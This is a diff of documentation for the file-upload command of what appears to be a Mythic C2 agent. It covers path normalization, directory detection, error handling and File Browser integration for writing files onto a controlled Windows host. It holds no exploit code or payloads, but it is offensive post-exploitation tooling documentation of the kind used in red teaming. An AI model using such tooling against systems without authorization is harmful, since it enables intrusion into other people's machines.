@@ -969,12 +991,22 @@ Mythic: File Write artifact created
### Path Handling
The upload command includes smart path handling:
The upload command includes smart path handling with multiple detection methods:
- **Normalization**: Automatically normalizes double backslashes (`C:\\\\Users` → `C:\Users`)
- **Directory Detection**: If the path is a directory, automatically appends the filename from Mythic
- **Full Path Resolution**: Uses `GetFullPathName` to resolve relative paths to absolute paths
- **Error Handling**: Clear error messages for invalid paths, access denied, or directory issues
- **Invalid Character Cleaning**: Removes null bytes, carriage returns, newlines, and other invalid characters
- **Directory Detection**: Multiple heuristics to detect directories:
- Path ends with `\` or `/` → Treated as directory, filename appended
- Path has no file extension in the last component → Treated as directory, filename appended
- Path is a drive letter (e.g., `C:`) → Treated as directory, filename appended
- Path exists and is a directory → Treated as directory, error reported if no filename
- **Full Path Resolution**: Uses `GetFullPathNameA` to resolve relative paths to absolute paths
- **Parent Directory Creation**: Automatically creates parent directories if they don't exist
- **Error Handling**: Clear error messages for:
- Invalid paths (Error 123: invalid filename syntax)
- Directory without filename specified
- Access denied errors
- Path not found errors
### Implementation Details
@@ -987,10 +1019,13 @@ The upload system uses:
### Error Handling
The upload command handles various error scenarios:
- **Invalid Path**: Returns error if path is invalid or malformed
- **Directory as Path**: Detects and reports error if path is a directory without filename
- **Invalid Path (Error 123)**: Returns error if path contains invalid characters or malformed syntax
- Automatically cleans null bytes, control characters, and invalid path characters
- Handles UNC paths (`\\server\share`) correctly
- **Directory as Path**: Detects and reports clear error if path is a directory without filename
- Error message: "El path es un directorio existente. Especifique un nombre de archivo"
- **Access Denied**: Returns Windows error code if file cannot be created/written
- **Path Not Found**: Returns error if parent directory does not exist
- **Path Not Found**: Automatically creates parent directories, or returns error if creation fails
### Viewing Upload Artifacts
@@ -999,7 +1034,23 @@ The upload command handles various error scenarios:
3. Filter by "File Write" artifact type
4. View all files that were uploaded, including file paths and timestamps
For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload).
### File Browser Integration
The `upload` command supports Mythic's File Browser UI feature (`file_browser:upload`):
- **Seamless Integration**: Upload files directly from the File Browser interface
- **Smart Path Resolution**: Automatically handles directory paths from File Browser
- **Progress Tracking**: Real-time progress visible in Mythic UI
- **Artifact Tracking**: All uploads automatically logged as "File Write" artifacts
**How it works**:
1. File Browser sends `path` parameter with directory path (e.g., `C:\Users\localuser\Downloads`)
2. Python `upload.py` detects the path is a directory (no file extension)
3. Retrieves the original filename from the `file_id` via Mythic RPC
4. Automatically appends filename to directory path
5. Sends complete path to agent: `C:\Users\localuser\Downloads\config.json`
For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload) and [File Browser documentation](https://docs.mythic-c2.net/customizing/hooking-features/file-browser).
---